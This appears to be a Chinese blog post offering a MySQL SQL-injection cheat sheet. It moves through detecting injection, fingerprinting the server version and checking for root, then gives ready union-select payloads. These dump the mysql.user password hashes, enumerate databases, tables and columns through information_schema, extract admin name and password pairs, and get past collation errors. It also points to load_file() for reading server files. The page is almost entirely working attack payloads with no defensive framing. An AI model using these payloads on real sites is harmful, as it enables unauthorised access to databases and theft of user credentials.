Mysql 基本注入

================================

判断是否存在注入:    and 1=1 and 1=2


查看是否为mysql数据库: /*asd            ---因为只有mysql支持/* 注释

查看mysql版本: and ord(mid(version(),1,1))>51 /*              --- 51的ASCII码代表3,即版本3

具体确定版本号mysql: /*!30000%20s*/      返回错误表示大于版本3.0,
/*!50000%20s*/   返回正确表示小于版本5.0
/*!40016%20s*/  返回正确      /*40015%20s*/ 返回错误  ---则版本为4.0.15
                     推出: /*!50000 SQL语句*/ 如果当前数据库版本号大于等于50000,SQL语句就执行

查看是不是root权限: and ord(mid(user(),1,1))>114 /* 

判断语句查询的字段数: order by 10   或者  union select 1,1,1,1  一个一个增加判断

联合查询(4.0以上的版本支持):union select 1,2,3,4,5,6,7,8,9,10 from admin

相关函数: system_user()系统用户名
user()  用户名
current_user()  当前用户名
session_user()连接数据库的用户名
database()  数据库名
version()  MySQL数据库版本
load_file()  读取本地文件的函数


@@datadir  读取数据库路径
@@basedir  MySQL安装路径
version_complie_os操作系统

 

 

判断如果有root权限,可以使用load_file()

 

 

=====================================

(1)查询数据库用户:

and 1=2 union select  GROUP_CONCAT(user,0x5f,password) from mysql.user

(2)查询所有数据库:

and 1=2 union select GROUP_CONCAT(schema_name) from information_schema.schemata
and 1=2 union select GROUP_CONCAT(schema_name) from (select schema_name from information_schema.schemata)t
and 1=2 union select GROUP_CONCAT(schema_name) from (select schema_name from information_schema.schemata where schema_name not in ('information_schema','performance_schema'))t

(3)查询所有表名:

and 1=2 union select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()
and 1=2 union select GROUP_CONCAT(table_name) from (select * from information_schema.tables where table_schema=database())t

(4)查询指定表的所有列:

and 1=2 union select GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x61646D696E and TABLE_SCHEMA=database()
and 1=2 union select GROUP_CONCAT(column_name) from (select * from information_schema.columns where table_name=0x61646D696E and TABLE_SCHEMA=database())t
注意:之所以限定database是因为可能存在同名表(位于另外数据库)。


当注射后页面显示:
(1)Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
可以使用convert()函数,如:
and 1=2  union select convert(GROUP_CONCAT(name,0x5F,password) using latin1) from admin
似乎可以使用unhex(hex())方式
and 1=2  union select unhex(hex(GROUP_CONCAT(name,0x5F,password))) from admin
(2)Illegal mix of collations for operation 'UNION'
使用hex函数,如:
and 1=2  union select hex(GROUP_CONCAT(name,0x5F,password)) from admin

 

参考:http://www.07net01.com/security/sqljibenzhuruyuju_585433_1379245164.html

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值